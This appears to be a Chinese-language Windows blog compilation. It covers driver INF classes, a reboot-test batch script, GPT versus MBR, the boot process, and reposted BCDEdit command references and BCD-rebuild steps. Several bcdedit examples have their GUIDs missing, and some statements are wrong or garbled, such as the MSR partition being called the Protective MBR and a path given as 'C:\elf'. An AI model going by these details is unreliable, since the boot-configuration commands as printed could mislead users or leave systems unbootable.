讀取INF中的Class 和 ClassGuid字段,將設備進行歸類(軟件方式歸類,如將一個插入的鼠標歸類為Mouse,將所有的智能卡設備歸類為SmartCard)。如果此Class是一個系統中不存在的設備類型,廠商需要提供 類安裝庫(class installer),來安裝設備類。這也是一個DLL,而且類安裝過程中,也可以有class co-installers輔助安裝庫,具體信息參考MSDN:http://msdn.microsoft.com/EN-US/library/windows/hardware/ff554009(v =vs.85).aspx
當所有的驅動和co-installders都被註冊,Windows將控制權交給Plug and Play (PnP) manager,它負責加載和驅動設備。
PNP管理器首選調用驅動入口函數:DriverEntry,接著調用AddDevice,……,發送IRP_MN_START_DEVICE給驅動設備對象。驅動開始工作。

2017/02/16

Windows重覆開機reboot測試範例 - batch file

常常需要自動重新開機的測試, windows7 設定開機自動啟動某應用程式, 先建立將要啟動的程式捷徑。

如下面的run.bat , 將此捷徑複製到以下目錄位置。
C:\Users\使用者帳號\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
以後開機就會自動啟動這個程式了。

重覆開機測試範例 run.bat :

@echo off  不輸出指令start /wait C:\test1.bat 開新視窗去執行令一個batch檔, 且會等待他執行完ping 127.0.0.1 > nul 另類等待數秒的做法set rootpath=C:\Users\xxxxx\Desktop\test  設定環境變數set day=20120111set logfile=%rootpath%\%day%\log.txtfindstr /C:"A123456789" E:\result.xml 在檔案裡面搜尋關鍵字if %errorlevel%==1 goto Fail  若為1表示沒找到if %errorlevel%==0 goto pass  若為0表示有找到echo %time%: Fail >> %logfile% 若走到此表示其他錯誤cls  清螢幕color 8c 改字體顏色pause 暫停:passecho %time%: PASS >> %logfile%  輸出文字到log檔案goto end:Failclsecho %time%: NOT Found >> %logfile%echo.echo-----------------------------------echo		NOT Foundecho-----------------------------------echo.color 8cpause:endshutdown /r /t 1 在一秒後自動重開機

什麼是GPT什麼是MBR,NTFS又是什麼東西?

網路上很多人討論與解釋GPT、MBR、NTFS,不過總是長篇大論,以下有個簡易的了解方法,讓大家簡顯易懂:GPT、MBR、NTFS基本上都是存於電腦硬碟中的格式。我們將硬碟比喻成是一間圖書館。GPT與MBR就好比圖書館中的書架。

  • GPT可在大型圖書館中放很多書架(硬碟可支援到18ET〈1887萬TB〉,可分割128磁區)。
  • MBR只適合小型圖書館中擺放的書架(硬碟支援到2TB,最多可分個4個主要磁區)。
  • NTFS就好比書架上的書,供圖書館人員編排書籍使用,所以NTFS同時可存於GPT與MBR兩種格式中。

搞清楚GPT跟MBR的差別

硬碟愈來愈大,傳統電腦中的BIOS卻只能定位到2TB左右的容量,超過的空間就無法使用,這是因為BIOS所採用的磁碟分割方式為「MBR」

MBR(Master Boot Record)
只能定址約2TB左右的大小(2.2 × 1012位元組),而且也只支援最大4個主分割區,也就是如果你有一顆3TB以上的硬碟,一定無法只分割為一個分割區而能用完全部容量。

因此各家主機板廠商紛紛推出新一代的UEFI BIOS,如此才能解決硬碟的辨識問題,所以UEFI的出現不是光為了讓BIOS圖形化更容易使用,更是為了要支援「GPT」這個硬碟分割格式,它才能支援3TB以上的大容量硬碟喔!

GPT(GUID Partition Table)
從特性上看來,確實比MBR優秀不少,光是可以支援最大容量到18EB(約為1887萬TB),以及分割區最大可以到128個,就足夠打到MBR站不起來了。

從Windows Server 2003以後的微軟系統,都可以讀寫GPT分割區,蘋果電腦從OS X開始也都開始支援,不過除了少數Linux系統以外,幾乎都只支援從UEFI來啟動GPT,並不能從BIOS中開機,因此以微軟Windows來說,目前就分為BIOS+MBR以及UEFI+GPT兩種開機方式,撇除開機時的不同,在進入系統以後的操作方式及功能,都是完全相同的,最大不同只差在支援的硬碟大小跟數量。

我只知道我的硬碟是NTFS,這跟MBR或GPT有關係嗎?

又是MBR、GPT又是NTFS的,確實很讓人摸不著頭緒。如果把硬碟空間當作一座圖書館的話,分割區MBR及GPT是一個個書架,讓你可以放置書籍,不用把書全部堆在地上亂糟糟。而NTFS/FAT32等就是書架上的書的排列方式,所以我們可以稱MBR及GPT為「分割區」,而NTFS/FAT32等檔案格式就是「分割表」。

那這麼說來,不管硬碟多大,一律分割成GPT磁區不就好了,既是未來的趨勢,新的格式用起來爽度也夠,不過GPT也不是完全只有優點,雖然說在系統碟格式化成GPT並安裝Windows 7/8用起來根本不會有問題,不過如果你還要把這顆硬碟安裝到其他舊系統(如XP)的電腦,就很有可能會讀不到囉!

GPT會多分割出了好幾塊空間

還有GPT硬碟因為相容性的關係,明明你只是要分割一個主分割區,卻一次就多分出了好幾塊空間,看起來相當礙眼,為什麼會這樣呢?

GPT分割區因為是新格式,不免會與舊系統或硬體共用,但是舊版系統跟硬碟分區軟體有可能會不認得GPT啊!因此GPT分區在建立時也會順便建立一個性質為「Protective MBR」的分割區,以免無法辨識GPT分割區的軟體誤將檔案內容破壞。因此通常在使用Windows 8光碟安裝UEFI系統時,除了產生安裝系統的主分割區以外,還會有以下3個分割區:(這裡有分隔的圖)

  • 修復分割區(約300MB):這個分割區是微軟獨有,用來在需要修復系統的情況,供給Windows RE(Windows Recovery Environment)存取之用。
  • ESP分割區(約100MB):非必須存在,放置UEFI啟動檔案,在開機時UEFI BIOS會讀取這塊區域,檔案格式為FAT32。
  • MSR分割區(約128MB):必須存在,就是前面所說的Protective MBR,當這顆碟安裝到不支援GPT的系統或硬碟管理軟體時,由於它們只會讀取到此分割區,就不會破壞GPT主分割區中的檔案了。

由於以GPT方式分割硬碟實在是分太多區塊了,因此有的網友認為2TB以內的硬碟在安裝系統時只要用傳統的BIOS+MBR安裝即可。

而且用SSD來安裝系統已經漸漸成為趨勢,目前SSD的主流大小在128~256GB左右,更是不能任意浪費空間,即使GPT分割區實在是好處多多,但MBR也還尚未過氣,一般電腦使用仍綽綽有餘。

Boot Process 與命令列工具BCDEdit用於管理 BCD (開機設定資料)存放區

提到bcdedit, 大部分就是跟bios,多重開機,secure boot,winPE,…etc有點關係, 因為 bcdedit就是去編輯BCD資料的指令! 所謂的開機設定資料 (BCD) 檔案, 就是提供一個存放區, 可用於說明開機應用程式和開機應用程式設定。所以說 BCDEdit 為命令列工具, 可用於管理 BCD 存放區。它可用於各種不同的目的,包括建立新的存放區、修改現有的存放區、新增開機功能表選項等。BCDEdit 本質上可提供與舊版 Windows 上之 Bootcfg.exe 相同的目的,但有兩項重大改進:
BCDEdit 顯示比 Bootcfg.exe 範圍還要廣泛的開機選項。

開機管理程式設定

Windows 開機管理程式位於識別元 {bootmgr} 下的 device 與 path 設定,必須指向正確的磁碟分割與可執行檔。其他設定可以參考修改 BCD 存放區範本
在 Windows Vista 的 BCD 範本中,有如下的這些設定:

Windows 開機管理程式--------------------identifier              {bootmgr}device                  partition=C:path                    \EFI\Microsoft\Boot\bootmgfw.efidescription             Windows Boot Manager

在 Windows Server 2008 的 BCD 範本中,有如下的這些設定:

Windows 開機管理程式--------------------identifier              {bootmgr}device                  partition=\Device\HarddiskVolume1path                    \EFI\Microsoft\Boot\bootmgfw.efidescription             Windows Boot Manager

兩種模式(Legacy 32bits / UEFI 64bits )的 bcd檔:

  • Legacy 32bits
    • C:\boot\bcd
  • UEFI 64bits
    • C:\elf\microsoft\boot\bcd
  • 或是兩種皆支援的hybrid mode

(出處:Repair Windows BCD – Windows 10/8.1/7/Vista)
In Windows Vista, Windows 7, Windows 8/8.1 and Windows 10 the System Boot Configuration Data (BCD) is stored in a file in folder “\Boot”.

The full path to this file is “[active partition]\Boot\BCD“.
(On UEFI/GPT the full path is “[EFI system partition]\EFI\Microsoft\Boot\BCD“)

Windows NT6 (Vista, Windows 7/8/10) BIOS/MBR boot process depends on the presence of an active partition on hard disk.
(On UEFI/GPT boot process depends on the presence of EFI System Partition(ESP) on hard disk)

BIOS/MBR boot process from hard disk goes like this:

  1. BIOS firmware initialization and self test (Power On Self Test – POST)
  2. load and execution of MBR (Master Boot Record) on first disk
  3. load and execution of partition boot record (PBR) on active partition
  4. load and execution of boot manager (“\bootmgr”) from active partition and then display of boot menu (skipped if only one boot entry)
  5. load and execution of Windows NT6 loader – file “winload.exe” from \Windows\System32 folder
  6. load and execution of kernel and drivers

The active partition (also a primary partition) can be mapped to a drive letter like c:, d: or be the unmapped “System Reserved” partition. You can use Disk Management or diskpart.exe to view and set the active partition.

If BCD resides on an unmapped active partition the full path is “\Device\HarddiskVolumeN\Boot\BCD” where N is a number starting from 1. If active partition is mapped to c: drive then the full path to system BCD is “c:\Boot\BCD”.

UEFI/GPT boot process from hard disk goes like this:

  1. UEFI firmware initialization
  2. load and execution of first boot candidate (first entry in NVRAM boot order – usually Windows firmware boot manager(\EFI\Microsoft\Boot\bootmgfw.efi))
    no master(MBR) and partition boot record(PBR) code used!
  3. display of Windows boot menu (skipped if only one boot entry)
    (it is not clear what’s the purpose of Windows boot manager (“\EFI\Microsoft\Boot\bootmgr.efi”) – should be investigated)
  4. load and execution of Windows NT6 loader – file “winload.efi” from “\Windows\System32” folder
  5. load and execution of kernel and drivers

And here a visualization of Windows UEFI boot process from an UEFI Plugfest – Windows boot environment by Murali Ravirala from Microsoft.

轉錄-Boot Process and BCDEdit

(出處)The new boot environment supports both BIOS and Unified Extended Firmware Interface (UEFI) firmware models. It uses a new data store for boot configuration data (the BCD store) that replaces Boot.ini and provides new boot applications that replace the previous Windows® loader (Ntldr.exe), including a new Windows boot manager and Windows boot loader.

What does the boot process do?
When a computer is turned on, it must perform a variety of tasks before it is ready to start running applications. To accomplish these tasks, the computer runs startup software that resides in the firmware. This software (a “boot loader”) locates and initializes the operating system kernel and prepares access to hardware devices before the operating system is ready to start running applications. The boot loader is typically independent of a specific operating system, but it can locate the code to start the next step, which is the operating system–specific phase of system startup. The boot loader and related boot configuration information is often stored in system files that are separate from the operating system, application programs, and user data.

Are there any special considerations?
You must have administrative rights to change the boot configuration for Windows. To change the boot configuration, start the boot configuration application BCDEdit.exe from a command prompt with administrative rights. Be aware that changing the boot configuration can make the system unable to start. To avoid problems with this, make a backup copy of the current boot configuration ahead of time by using the bcdedit /export save-bcd command.

Support for both BIOS and UEFI firmware
UEFI is the next generation of firmware architecture that is designed to replace the BIOS architecture. The new Windows boot environment is designed for both BIOS and UEFI and uses a common data store that can exchange boot configuration information between the firmware, the boot loader, and boot applications.

New boot applications
The functionality that was previously combined in Ntldr.exe is now separated into multiple applications:

  • Windows Boot Manager (Bootmgr.exe or Bootmgr.efi). This application is independent of the operating system and uses the firmware to load the Windows boot loader either from a particular disk partition or over a network connection (in the case of network boot).
  • Windows Boot Loader (Winload.exe or Winload.efi). This application is part of the operating system and loads a specific version of Windows. It uses the firmware to load the operating system kernel and to boot critical device drivers from a local hard disk.
  • Windows Resume (Winresume.exe or Winresume.efi). Windows Resume finds a hibernation image and then uses the firmware to read the hibernation file into RAM and to resume the operating system from the hibernation state.

The Windows boot environment also includes the Windows Memory Tester (Memdiag.exe or Memdiag.efi). You can start this diagnostic tool from the boot manager to verify that RAM is working correctly.

New data store that replaces Boot.ini
The Boot Configuration Data (BCD) store replaces the text-based Boot.ini file. In the BCD store, the Windows boot manager, the Windows boot loader, and other boot applications are represented as program objects (GUIDs) instead of text items. A new tool, BCDEdit.exe, enables you to use basic and extended commands to modify these objects in order to control all aspects of the boot process. Although the data store represents each object with a GUID, some objects have alias names for common use, such as {bootmgr} (which refers to boot manager) and {default} (which refers to the default Windows boot loader). Applications can modify boot configuration data by using a new BCD Windows Management Instrumentation (WMI) provider.

You can use the standard system application Msconfig.exe to provide a graphical interface for viewing and modifying a subset of the boot configuration settings. You must run Msconfig.exe with administrative rights.

 

轉錄-修改windows7啟動項的詳細步驟

(出處)發現win7下無法像XP下直接修改C:/boot.ini即可,需要在管理員權限下使用bcdedit命令操作。記錄如下:
Bcdedit簡介

  • 在NT60系列操作系統(Windows 7/Vista/2008)中的一個命令行工具,用於建立和重新配置bootloader,後者無須再使用boot.ini文件。
  • 也就是說,使用BCDEdit這個工具,能夠修改NT60 系列系統的啟動菜單在之前基於NT50系列(Windows XP/2000/2003)的Windows系統中,Windows使用Ntldr作為Boot Loader來啟動系統,但在新的NT60系列系統中,微軟引入瞭一種全新的boot loader架構,Windows Boot Manager (Bootmgr.exe)。
  • 與Ntldr嚴重地依賴於硬件不同的是,NT60中的新架構可以實現完整的硬件獨立性,且能夠與多種操作系統無縫結合,讓NT60的啟動/引導過程更加快速與安全。
  • 同時,將之前Windows 系統中由Boot.ini管理的內容移交給新的Boot Configuration Data (BCD : 啟動設置數據),當然,也提供瞭新的啟動選項編輯工具,BCDEdit (BCDEdit.exe),來管理啟動設置。
  • ——所謂boot loader,在指在內核運行之前執行的一段小程序,系統通過它來初始化硬件設備、建立內存空間的映射圖等,將系統的軟硬件環境設置成一個合適的狀態,為最終調用操作系統內核準備好正確的環境。
  • ——在啟動過程中,Ntldr 使用Boot.ini 文件來確定在啟動/引導過程中要顯示哪些操作系統選項,我們對啟動選項的設置可以通過修改boot.ini文件中相應內容實現。
  • Windows NT60 (Windows 7/Vista/2008)與早期NT52 系列系統(Windows XP/2000/2003)啟動的對比
    • 在傳統的基於BIOS的計算機中,如果只安裝NT60 系列操作系統(Windows 7/Vista/2008),您將會發現Boot.ini 文件已經徹底從系統中消失;如果系統中安裝瞭NT60 和之前的Windows 系統,如NT52 系列操作系統 (Windows XP/2000/2003),雖然仍可找到Boot.ini 文件,不過,這個文件只作用於那些系統,而不會對NT60 的啟動有任何影響。
    • 而在基於EFI (Extensible Firmware Interface : 可擴展固件接口,以後采用這種接口的PC會越來越多)的計算機中,Boot.ini 文件則更不復存在,在基於EFI的系統中,啟動選項被貯存在主板的存儲器中。此時要修改啟動選項,要麼通過能夠讀寫NVRAM的工具如NvrBoot,要麼使用上文提到的BCDEdit。
    • 由此可見,在NT60中,想要再像之前NT52 中那樣通過一個簡單的文本編輯器來修改Boot.ini(或用NT52自帶工具Bootcfg)的方式來管理啟動選項已經不可能瞭,要對啟動設置進行修改,只能使用命令格式相對要復雜得多的BCDEdit。
  • 此外,微軟也在NT60 中提供瞭可通過WMI (Windows Management Instrumentation : Windows管理規范)調用的BCD 類,通過它可以用編程的方式修改BCD數據。不過,相信對絕大多數根本不會接觸編程的用戶而言,這更是不可能的任務。

BCDEdit 使用前註意

  • 1.工具性質: command line tool
    • 需要註意的是,BCDEdit不是一個運行於圖形界面下的程序,而是一個命令行工具,該文件(Bcdedit.exe) 位於 “\Windows\System 32”目錄下。
  • 2.啟動
    • 要執行BCDEdit,首先應進入命令行窗口,並要將操作用戶並提升至管理員權限。另外,該工具依賴於參數,如果不帶參數,則不能正常使用。
    • 在命令行窗口中,轉到系統目錄如 “C:/windows/system32”下,然後輸入“bcdedit <參數>” 即可。也可直接在任意目錄運行,因為System32目錄本身在環境變量“Path”的范圍內。
  • 3.BCDEdit命令核心
    • (1)幫助
      • bcdedit /? : 顯示全部的命令幫助(都隻是概述)。
      • bcdedit.exe /? <命令> : 顯示指定命令參數的詳細信息(無需帶斜杠)。使用中對其他任何可用參數也均可使用本命令格式查看該參數的具體說明。
    • (2)Enum
      • 通過命令行工具Bcdedit,我們可以添加、刪除及修改BCD (Boot Configuration Data)中的對象。
      • 在BCD中,每個對象均具有唯一的GUID (Globally Unique Identifier : 全局唯一標識符),如系統中的每塊硬盤、每個分區的GUID (全局唯一標識符)均不相同。
      • 在BCD中,硬盤或分區的GUID可分為如下幾類:
        • {ntldr}: 指存在上代NT50系列操作系統(Windows XP/2000/2003)的硬盤或分區;
        • {default}: 默認所在硬盤或分區;
        • {current}: 當前硬盤或分區;
        • {}: 類似於這個格式的GUID指其他安裝瞭操作系統的硬盤或分區。
      • (註:相應的GUID可通過“bcdedit ”或“bcdedit /enum all ”命令查看。這樣會顯示BCD當前的啟動設置數據,包含瞭所有在BCD記錄中的操作系統,均能顯示其GUID,用戶可以此作更改啟動數據的參考。)
    • (3)保險措施(使用BCDEdit備份與恢復啟動選項)
      • 在對Windows NT60的啟動選項修改之前,最好先對其備份,以防萬一操作失誤或其他故障導致系統無法啟動。
        • bcdedit /export <目錄> : 將啟動設置備份到指定的目錄下;
        • bcdedit /import <目錄> : 恢復之前備份在指定目錄下啟動選項。
      • 註:當需要還原備份的啟動選項時,應仔細檢查備份的啟動選項是否對應於自己所需要的,否則重新設置會比較麻煩。

使用BCDEdit修改啟動菜單選項

  • 作為一種良好的操作習慣,在對Windows Vista的啟動選項進行任何修改前,首先要對BCD中的啟動選項進行備份,相應的命令上頁我們已介紹過,在此不再贅述;其次,使用“bcdedit ”或“bcdedit /enum all ”來查看系統中硬盤或分區的正確GUID 標識,並將其記錄下來。
  • 畢竟,BCDEdit只是一款命令行工具,我們操作時需手動輸入類似“”這樣的長字符串時,很容易出錯,而這往往會導致Windows Vista啟動失敗。
  • 下面詳細介紹使用BCDEdit修改啟動選項的常用命令格式:
    • bcdedit /set {ntldr} Description “Windows XP Professional SP2”: 修改上一代在啟動菜單中的顯示內容,比如說我們也可將其修改為“Vista天地de專用XP SP2”之類。註意,命令中的引號不可省略;操作系統
    • bcdedit /set {current} description “Windows Vista Build 5270 x86″: 修改當前啟動硬盤或分區上的操作系統在啟動菜單中的顯示內容。註意,當前分區上的操作系統可能為Windows Vista,也可以是其他系統,當然,命令中的引號也不可省略;
    • bcdedit /set {} description “Windows Vista Build 5270 x64”: 修改安裝於其他硬盤或分區的系統在啟動菜單中的顯示內容,使用這項命令時一定要註意該硬盤/分區的GUID輸入正確,相應的GUID可通過“bcdedit ”或“bcdedit /enum all ”命令查看。
    • bcdedit /default {current} :將當前啟動硬盤/分區中的操作系統設置為默認啟動的系統;
    • bcdedit /default {} :設置指定GUID上的操作系統為默認啟動的系統;
    • bcdedit /default {ntldr} :設置上一代Windows 系統Windows XP為默認啟動的系統;
    • bcdedit /displayorder : 設置啟用菜單中各項的顯示順序,如:
    • bcdedit.exe /displayorder {ntldr} {current} :將首先顯示Windows XP,然後再顯示默認啟動的系統如Windows Vista;
    • bcdedit /timeout 15 :將默認的啟動菜單顯示時間30秒更改為15秒,當然,您可以將這個時間修改為任何您希望的數值。
    • 使用BCDEdit修復硬盤/分區結構錯誤
      在對啟動選項的修改過程中,如添加或刪除某個硬盤/分區時,可能會因操作中的不慎導致硬盤/分區結構的混亂,除瞭采用恢復修改前的備份方法外,也可以首先使用BCDEdit來嘗試一下修復。具體方法如下:

X:\>X:\boot\fixntfs.exe -lh -all : 這時的“X: ”指引導目錄 “boot” 所在的硬盤/分區;
bcdedit /set device partition=X: : 將指定GUID的分區設為啟動分區。註意,這裡的“X: ”的GUID須與指定值不同,同時,搜狗電腦網,運行該命令後,必須接著運行下面的osdevice命令;
bcdedit /set osdevice partition=X: : 將指定GUID的分區設為啟動分區。註意,這個命令必須與上面的device命令配對使用,同時“X: ”的GUID須與指定值不同。

 

Bcdedit命令詳解,自定義Vista啟動管理項

Bcdedit 位於X:\Windows\system32\ “X:”為安裝Vista的盤符。

儲存操作指令
====================
/createstore 創建一個新的空白啟動配置數據文件。
bcdedit /createstore C:\Data\BCD 創建BCD啟動配置數據文件儲存到“C:\DATA\”文件夾。
/export 備份啟動配置數據文件。
bcdedit /export “C:\Data\BCD Backup” 備份BCD啟動配置文件到“C:\Data\”文件夾,並以“BCD Backup”命名。
/import 還原啟動配置數據文件。
bcdedit /import “C:\Data\BCD Backup” 從“C:\Data\”文件夾恢復BCD啟動配置文件。

儲存項目操作指令
====================
/copy 項目拷貝
操作系統啟動項目的拷貝:
bcdedit /copy /d “Copy of entry”
/create 新建項目
創建操作系統載入程序項目的NTLDR(Ntldr):
bcdedit /create /d “Earlier Windows OS Loader”
創建存儲器磁碟另外的選擇項項目:
bcdedit /create /d “Ramdisk options”
創建一個新的操作系統啟動項目:
bcdedit /create /d “Windows Vista” /application osloader
創建一個新的調試器:
bcdedit /create /d “Debugger Settings”
/delete 刪除項目
刪除指定的操作系統項目:
bcdedit /delete
刪除指定的操作系統項目但啟動時不顯示項目(徹底刪除):
bcdedit /delete /cleanup
刪除指定的操作系統項目但啟動時顯示項目:
bcdedit /delete /nocleanup
刪除操作系統載入程序項目的NTLDR:
bcdedit /delete /f

項目選擇操作指令
====================
/deletevalue 刪除項目選擇項。
刪除啟動管理的bootmgr選擇項項目:
bcdedit /deletevalue bootsequence
刪除(WinPE)操作系統的數值開機項目:
bcdedit /deletevalue winpe
刪除來自指定的操作的Windows PE 數值系統開機項目:
bcdedit /deletevalue winpe
/set 設定項目選擇項數值。
設定操作系統“cbd971bf-b7b8-4885-951a-fa03044f5d71”引導分區“C”:
bcdedit /set device partition=C:
指定的操作系統引導文件“windows\ system 32\ winload.exe”:
bcdedit /set path \windows\system32\winload.exe
設定“NX”為“OptIn”:
bcdedit /set nx optin
更改系統名稱
默認XP系統名稱在Vista啟動管理器中是”earlier version of Windows”,更改:
bcdedit /set Description “Windows XP Professional SP2″
默認Vista系統名稱在Vista啟動管理器中是”Microsoft Windows”,更改:
bcdedit /set Description “Windows Vista 5456”
輸出控制指令
====================
/enum 在儲存中的列表項目。
列出所有的操作系統載入程序啟動項目:
bcdedit /enum OSLOADER
列出所有的啟動管理項目:
bcdedit /enum BOOTMGR
列出默認的啟動項目:
bcdedit /enum
列出指定的操作系統啟動項目:
bcdedit /enum
/v 列出所有活動的項目
bcdedit /enum ACTIVE /v

啟動管理控制指令
====================
/bootsequence 設定啟動列表順序。
設定二個操作系統項目和啟動順序:
bcdedit /bootsequence {cbd971bf-b7b8-4885-951a- fa03044f5d71}
加入操作系統項目為啟動列表最後項:
bcdedit /bootsequence /addlast
/default 設定默認啟動項目。
設定默認啟動項目:
bcdedit /default
設定默認啟動操作系統程序為NTLDR:
bcdedit /default
/displayorder 設定哪一個系統啟動顯示多啟動畫面。
設定二個操作系統項目和在啟動管理顯示命令中被建立操作系統載入的程序NTLDR:
bcdedit /displayorder
把指定的操作系統項目加入啟動管理顯示命令結束:
bcdedit /displayorder /addlast
/timeout 設定啟動暫停數值。
/toolsdisplayorder 設定命令在哪一個啟動管理顯示工具畫面。
設定二個工具項目和內存診斷在那啟動管理工具顯示命令:
bcdedit /toolsdisplayorder
把指定的工具項目加入啟動的結束管理工具顯示命令:
bcdedit /toolsdisplayorder /addlast

為一個啟動應用程序控制緊急處理服務的指令
====================
/bootems
開啟啟動管理緊急處理服務:
bcdedit /bootems ON
/ems
為目前的操作系統啟動項目EMS 開啟:
bcdedit /ems ON
/emssettings 設定緊急處理服務參數。
設定EMS 參數使用基本輸出入系統設定:
bcdedit /emssettings BIOS

實際上,大家打開命令提示符,輸入 bcdedit /? 同樣可以獲得更詳盡的幫助:

BCDEdit 命令列選項

BCDEdit.exe 有下列可用的命令列選項。
BCDEdit / Command [Argument1] [Argument2] …

  • /createstore
    建立新的且空的開機設定資料存放區。建立的存放區並非系統存放區。
  • /export
    將系統存放區的內容匯出至檔案。這個檔案稍後可用於還原系統存放區的狀態。這個命令僅對系統存放區有效。
  • /import
    利用先前使用 /export 選項所產生的備份資料檔案,還原系統存放區的狀態。這個命令會在進行匯入之前,先刪除任何存在於系統存放區中的項目。這個命令僅對系統存放區有效。
  • /store
    這個選項可用於大部分的 BCDedit 命令,以指定要使用的存放區。如果未指定這個選項,則 BCDEdit 會在系統存放區上操作。自行執行 bcdedit /store 命令,相當於執行 bcdedit /enum active 命令。
  • /copy
    在相同的系統存放區中,製作指定之開機項目的複本。
  • /create
    在開機設定資料存放區中建立新項目。如果指定了通用的識別元,則無法指定 /application、/inherit 及 /device 選項。如果未指定識別元或不是通用的識別元,則必須指定 /application、/inherit 或 /device 選項。
  • /delete
    從指定的項目刪除元素。
  • /deletevalue
    從開機項目刪除指定的元素。
  • /set
    設定項目選項值。
  • /enum
    列出存放區中的項目。/enum 選項是 BCEdit 的預設值,因此執行 bcdedit 命令時,若未加上選項,則相當於執行 bcdedit /enum active 命令。
  • /v
    詳細資料模式。通常任何通用的項目識別元都會以好記的簡短形式呈現。指定 /v 作為命令列選項,會將所有的識別元全部顯示出來。自行執行 bcdedit /v 命令,相當於執行 bcdedit /enum active /v 命令。
  • /bootsequence
    指定一次性顯示順序,以用於下一次開機。這個命令類似於 /displayorder 選項,唯一的不同在於它僅用於下一次電腦啟動時。之後,電腦會還原為原本的顯示順序。
  • /default
    指定在逾時過期時,開機管理程式要選取的預設項目。
  • /displayorder
    指定向使用者顯示開機選項時,開機管理程式要使用的顯示順序。
  • /timeout
    指定在開機管理程式選取預設項目之前,要等候的時間 (以秒為單位)。
  • /toolsdisplayorder
    指定顯示 [工具] 功能表時,開機管理程式要使用的顯示順序。
  • /bootems
    啟用或停用指定項目的緊急管理服務 (EMS)。
  • /ems
    啟用或停用指定之作業系統開機項目的 EMS。
  • /emssettings
    設定電腦的全域 EMS 設定。/emssettings 不會啟用或停用任何特定開機項目的 EMS。
  • /bootdebug
    啟用或停用指定之開機項目的開機偵錯工具。雖然這個命令可用於任何的開機項目,但它僅對開機應用程式有效。
  • /dbgsettings
    指定或顯示系統的全域偵錯工具設定。這個命令不會啟用或停用核心偵錯工具,請針對該用途使用 /debug 選項。若要設定個別的全域偵錯工具設定,請使用 bcdedit /setdbgsettings type value 命令。
  • /debug
    啟用或停用指定之開機項目的核心偵錯工具。

轉錄-Creating BCD from scratch with BCDedit.exe and add “Repair my computer” WinRE Recovery Environment

(出處)
My Boot Configuration Data (BCD Store) for my Windows 7 got hosed and I had to delete it and boot off a Windows DVD, hit Shift + F10 to get at a command prompt, delete my old BCD and run Bootrec.exe /rebuildBCD to even be able to boot my system. But RebuildBCD left the file with the bare minimum necessary to boot, nearly blank, and I lost the option to run “Repair My Computer” from the F8 screen. I found a useful website: http://forum.acronis.com/forum/6758 that helped me get back on the right track, but I had to dabble around myself to get all the settings that Windows 7 Installation would normally handle. Follow these instructions to restore your BCD file so that you can run “Repair” off the hard drive instead of digging around for a DVD. “bcdedit /enum all” lists your BCD config and “bcdedit /enum all /v” lists all GUIDs instead of friendlynames. the GUID’s I have listed ARE different (make sure you check the 8th digit). Before you begin you might want to do “bcdedit /export C:\before.BCD”.

1. Create necessary optional entries
bcdedit /create {globalsettings}
bcdedit /create {bootloadersettings}
bcdedit /create {resumeloadersettings}
bcdedit /create {emssettings}
bcdedit /create {dbgsettings}
bcdedit /create {hypervisorsettings}
bcdedit /create {badmemory}
bcdedit /create {memdiag}

2. Establish proper settings for these optional entries
bcdedit /set {bootmgr} INHERIT {globalsettings}
bcdedit /set {current} INHERIT {bootloadersettings}
bcdedit /set {globalsettings} INHERIT {dbgsettings} {emssettings} {badmemory}
bcdedit /set {bootloadersettings} INHERIT {globalsettings} {hypervisorsettings}
bcdedit /set {resumeloadersettings} INHERIT {globalsettings}
bcdedit /set {emssettings} bootems YES
bcdedit /dbgsettings SERIAL DEBUGPORT:1 BAUDRATE:115200
bcdedit /hypervisorsettings SERIAL DEBUGPORT:1 BAUDRATE:115200
bcdedit /toolsdisplayorder {memdiag}

bcdedit /set {memdiag} description “Windows Memory Diagnostic”
bcdedit /set {memdiag} device partition=\Device\HarddiskVolume1
bcdedit /set {memdiag} path \boot\memtest.exe
bcdedit /set {memdiag} locale en-US
bcdedit /set {memdiag} inherit {globalsettings}
bcdedit /set {memdiag} badmemoryaccess Yes

3. Link “Windows Boot Manager” and primary “Windows Boot Loader” to your existing “Resume from Hibernate” identifier (replace the GUID)
bcdedit /set {bootmgr} resumeobject {8de128fe-03a5-11e1-a7d3-a215a48a5459}
bcdedit /set {current} resumeobject {8de128fe-03a5-11e1-a7d3-a215a48a5459}

4. Create loader entry for the “Recovery”(Repair My Computer)
Check C:\Recovery\ (gain access by adding “Users” READ permission)
Copy & Use that GUID here for device and osdevice – in my case 8de128ff-………… omitting the curly braces { } after [C:]\Recovery
On Line 2 and Line 3, for device and OSdevice, the final GUID after \Winre.wim doesnt exist yet (if you look carefully the 8th digit is changed – and will now have to be created ….
after \Winre.wim, create a NEW UNUSED GUID (change the 8th digit) – it will be used in step 6.

bcdedit /create {8de128ff-03a5-11e1-a7d3-a215a48a5459} /application osloader
bcdedit /set {8de128ff-03a5-11e1-a7d3-a215a48a5459} device ramdisk=[C:]\Recovery\8de128ff-03a5-11e1-a7d3-a215a48a5459\Winre.wim,{8de128f5-03a5-11e1-a7d3-a215a48a5459}
bcdedit /set {8de128ff-03a5-11e1-a7d3-a215a48a5459} osdevice ramdisk=[C:]\Recovery\8de128ff-03a5-11e1-a7d3-a215a48a5459\Winre.wim,{8de128f5-03a5-11e1-a7d3-a215a48a5459}
bcdedit /set {8de128ff-03a5-11e1-a7d3-a215a48a5459} path \windows\system32\winload.exe
bcdedit /set {8de128ff-03a5-11e1-a7d3-a215a48a5459} description “Windows Recovery Environment WinRE”
bcdedit /set {8de128ff-03a5-11e1-a7d3-a215a48a5459} inherit {bootloadersettings}
bcdedit /set {8de128ff-03a5-11e1-a7d3-a215a48a5459} systemroot \windows
bcdedit /set {8de128ff-03a5-11e1-a7d3-a215a48a5459} nx OptIn
bcdedit /set {8de128ff-03a5-11e1-a7d3-a215a48a5459} winpe yes

5. Enable the {current} OS to allow the Recovery Sequence you just created
bcdedit /set {current} recoverysequence {8de128ff-03a5-11e1-a7d3-a215a48a5459}
bcdedit /set {current} recoveryenabled Yes

6. With that NEW UNUSED GUID you just created in step 4, create the “Ramdisk Options” entry for the Recovery Sequence
On Line 4, after \Recovery\ – use the GUID you found in C:\Recovery\ -again Omit the Curly braces { }
bcdedit /create {8de128f5-03a5-11e1-a7d3-a215a48a5459} /device
bcdedit /set {8de128f5-03a5-11e1-a7d3-a215a48a5459} description “Ramdisk Options”
bcdedit /set {8de128f5-03a5-11e1-a7d3-a215a48a5459} ramdisksdidevice partition=C:
bcdedit /set {8de128f5-03a5-11e1-a7d3-a215a48a5459} ramdisksdipath \Recovery\8de128ff-03a5-11e1-a7d3-a215a48a5459\boot.sdi

